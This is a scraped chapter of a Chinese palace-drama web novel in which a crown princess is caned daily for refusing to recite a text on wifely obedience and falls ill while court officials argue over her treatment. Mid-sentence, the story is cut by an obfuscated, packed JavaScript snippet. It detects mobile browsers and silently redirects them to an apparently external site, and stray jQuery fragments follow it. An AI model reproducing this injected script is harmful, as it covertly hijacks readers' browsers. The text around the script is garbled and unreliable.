56.苦恨
作品:《拥归鸾》 宫正早有准备,朝身后做了个手势。
众人会意,用尽全身力气,齐声高呼:“夫者,天也。事之当如敬天,顺之当如随影。怒色不加,捶挞勿怨。夫有恶言,俯首而受;夫有妄行,阖目而盲……”
郑鹤衣用力捂住了耳朵,可那些字眼还是像锥子般直刺耳膜,她头晕目眩,甚至有些恶心。
其后还有训诫篇、绝患篇等,可她咬紧牙关,一个字都不肯念。
宫正叹了口气道:“贵妃有言在先,每日念诵十遍,不得错漏,不得跳跃,请太子妃莫要为难妾身。”
郑鹤衣清了清嗓子,抚着喉咙,哑声道:“昨夜太冷了,我有些伤风,咳咳……”
“那您便歇息片刻,我们会再此等候。”宫正神容平静道。
双方直僵持到日落,眼见潮气上来,郑鹤衣又累又饿,并止不住咳嗽。可宫正司众人仍站在原地,木雕泥偶般一动不动。
不愧是掌管刑罚的,果真铁面无私,心志坚定。
她起身拂了拂衣上草屑灰尘,扫视着众人道:“若我执意不肯读,你们又当如何?”
宫正叹了口气道:“那便要受笞刑。”
郑鹤衣抽了口冷气,小心地瞟了眼托盘上的竹板。
“打……哪里?”堂堂太子妃,扒衣受刑也太没面子吧?
“刑罚并非目的,而是手段。您是太子妃,自不会像寻常宫人一样笞背、臀、腿。贵妃娘子有令,手心即可。”总算要解脱了,宫正难掩窃喜,却还是冷静下来,追问道:“您当真要……”
郑鹤衣不假思索伸出了左手,与其思想受折磨,不如吃点皮肉苦。
执行的是个五旬上下的枯瘦老妪,她面无表情,高高举起竹板,重重落了下来。
闷响伴着尖锐的痛,针一般刺进心口。
随着竹板抬起,掌心那个白印迅速变红,数到第六声时,她的掌心开始红肿,皮肤也开始发热。
她本能地想尖叫瑟缩,甚至夺下竹板狠笞行刑者。可她很快意识到周围十几个人都等着看她失态,然后添油加醋传的人尽皆知。
他们都是受她连累,才不得不忍饥挨饿滞留在此。他们不会恨制定规矩的人,因为那个人遥不可及。
她只能咬紧牙关,死命捱着。小时候不好好读书也挨过手板,当时觉得痛彻心扉,可如今回想那简直算是挠痒痒。
终于数到了十,她的手臂已经僵硬。接着呼吸急促,额头冷汗涔涔,意识虽还清醒,却无法控制手指。
老妪收起竹板,以手加额跪下请罪。
郑鹤衣怕一开口就露出哭腔,便没有说什么,虚抬着手,转身往回走去。
宫正带人跟上来,默默将她送到了承恩殿,亲自为她敷药包扎,并言辞恳切道:“过一两个时辰红肿会慢慢消退,但淤青处触到仍会疼,不能握笔,也不能持物,等到第三天才会恢复。可您的嗓子明日若还没有恢复,再受笞刑的话,伤势会叠加,以妾身的经验来看,没有人能熬到第五天。”
郑鹤衣眼眶泛红,却并未落泪,脸上的倔强也无半分软化,宫正只得告辞。
宫人奉上舒缓疼痛的甘草蜂蜜水,哭着喂她用膳,并轮流苦劝。
她一言不发,洗漱过后倒头便睡。
**
连续四天,郑鹤衣还是宁可受笞刑,也不愿诵读那篇对她而言,犹如思想凌迟的谕嗣妇书。
第五日天还未亮,宫正便等在绫绮殿外,门一开便急忙去见尚宫姜氏。
“再这样下去会出事的,据承恩殿宫人回报,太子妃午夜过后开始发热,浑身火炭似得,已经开始说胡话了。”宫正语声有些哽咽,“受刑时咬破嘴唇都不吭一声,梦里却哭着喊阿娘,到底是个孩子……”
在天潢贵胄和宫女阿监之间,位居中层的女官们天然同情弱势方。
可在贵妃与太子妃之间,年少莽撞的太子妃未必比寻常宫人强。
虽说民间有阿姑打压新妇的陋习,可毕竟是天家,贵妃此举太不体面。
“你第一天就该苦劝,说什么也不能开了那个头,娘子的初衷并非体罚,而是让太子妃学会婉顺退让。如今势成骑虎,该当如何?”宰相们不敢烦扰天子,便将奏报呈送到贵妃跟前,并痛陈利害。贵妃为了这个焦头烂额,姜氏跟前跟后也半分不得闲,听到这些哪能不烦躁。
宫正倍感委屈,苦着脸道:“妾身何曾见过这般……怪诞之人?看上去娇滴滴的,可一身都是反骨,初生牛犊不怕虎,实在让人没辙。”
“贵妃不可能退让的。”姜氏亲眼看到郑鹤衣失控之下啐了贵妃,以她对贵妃的了解,不当场挫骨扬灰已算得上宽宏大量了。
宫正打了个寒噤,惊骇道:“可……我看太子妃,也是宁死不屈,这……如何是好?实在不行,您去找殿下商量?听说太子妃梦里除了喊阿娘阿兄,偶尔也喊殿下,到底是新婚夫妻……”
姜氏瞪了她一眼,斥道:“如今这局势,多一事不如少一事,殿下有自己的事,你别想添乱。”
“这怎么……”宫正话还没说完,就见一个年轻女官疾步走来,叉手一礼,禀道:“姜姑姑,贵妃娘子找您呢!”
姜氏舒了口气,并未给出任何指示,只轻飘飘道:“宋宫正,此事因你而起,你自己想办法。”
宫正汗流浃背,她也不过是奉命行事,早知道让人下手轻点。待要追上去,却被年轻女官拦下。
女官莞尔一笑,仰头望了望天,呢喃道:“辰时快到了啊!”
宫正灵机一动,顿时心生一计,喜道:“多谢指教。”
午后贵妃忙完,姜氏趁隙将宫正来过之事如实禀报。
贵妃听完大怒,拍案斥道:“真是贱骨头,活该受罪。”
姜氏苦笑道:“都这时候了,您还说气话?您什么身份,哪能和一个不懂事的孩子计较?”
“什么孩子?”贵妃想到那日就来气,咬牙切齿道:“亲娘都不心疼的狗东西,我理她作甚?”
“说到孩子……”姜氏迟疑着道:“您可别忘了,东宫彤史记录的清清楚楚,虽说殿下成婚没几天,可两人如胶似漆,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471353|176267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜夜欢好。殿下正值血气方刚,以前从不近女色,说不定……”
贵妃怒意渐消,神色不觉凝重。
“江王也好,诸皇子也罢,如今可都无嗣。若太子妃怀了小皇孙,殿下的位置,便又能稳固几分。”
贵妃沉吟半晌,蹙眉道:“肯定没那么快。”
“万一呢?”姜氏小心翼翼道。
贵妃一时有些忐忑,自言自语道:“伤的是手掌,就算……也没多大关系吧?”
“手上也有筋络,连着受刑四天,怕是血脉凝滞堵塞,多少还是有影响的。”姜氏唏嘘到。
徐春芳领着宫人捧来香茗,贵妃瞧见她,想起郑鹤衣第一次进宫时,她曾蓄意接近过。当日在承恩殿起了冲突,也是徐春芳将她带下去的,想来郑鹤衣对她不会太排斥,便吩咐道:“阿徐,你下午去东宫一趟。”
徐春芳躬身应诺。
**
因宫正路上耽搁,辰时仍未赶到,底下人不敢擅自做主,何况郑鹤衣卧病在榻,此日刑罚暂免。
暮色渐至,承恩殿中留守的宫人准备掌灯时,听到外边响起窸窣脚步声。
几人忙迎了出去,就见一个仪态端方的女官领着一队宫女款款而至,有提灯的,有托盘的,也有捧盒的。
“我是尚宫局司簿,奉贵妃娘子之命,前来探望太子妃。”为首女官柔声道。
“姑姑快请进!”众人大喜,慌忙让到一边。
郑鹤衣不知躺了多久,浑浑噩噩中只感到头疼、手疼、浑身烫,如今倒不需要火盆或汤婆子,只想念洞房喜榻下的冰鉴,她挣扎着唤李绛,想求他帮忙挪出来,可他抱臂站在一旁,冷眼看她被火焰炙烤。
明明说好的,她进宫后绝不会受苦,若遇到困难,他定能摆平,可他如今人在哪里?佛前撒谎,是要遭报应的。
她恨得咬牙切齿,可意识如水面落花,在昏沉和清醒中载浮载沉。她难受的想哭,却连眼泪都被烤干了,如果喓喓还在身边就好了。
迷糊中感到有人靠近,不知是换药的,还是喂她喝药的。
她勉强掀开沉重的眼皮,隐约看见一个女官打扮的人,正俯身查看。
帐中有些昏暗,旁边那个高瘦的影子将纱灯举到了跟前。
她粗了蹙眉,眼神空洞,表情呆滞,像是看着她们,又像是看着后边的黑暗。
“徐司簿,太子妃该喝药了。”宫人捧来玉盏,轻声道。
“这是什么药?”徐春芳问道。
“清热补气安神的,刘太医开的方子,有上等黄连、黄芩、生石膏以及当归、白芍,因怕药太苦,又加了些冰糖,每日须服三次,这是最后一次。”宫人娓娓道。
“你来喂太子妃喝药。”徐春芳侧过脸,对旁边那个提灯的高瘦身影道。
那人放下宫灯,弯身接过了药盏。
捧药宫人眸光微颤,好美的一双手,肤如暖玉,指如柔荑。正艳羡之时,却被徐春芳挽住,“你是贴身照顾太子妃的吧?快来跟我讲讲太子妃的病况,贵妃对此很关心。”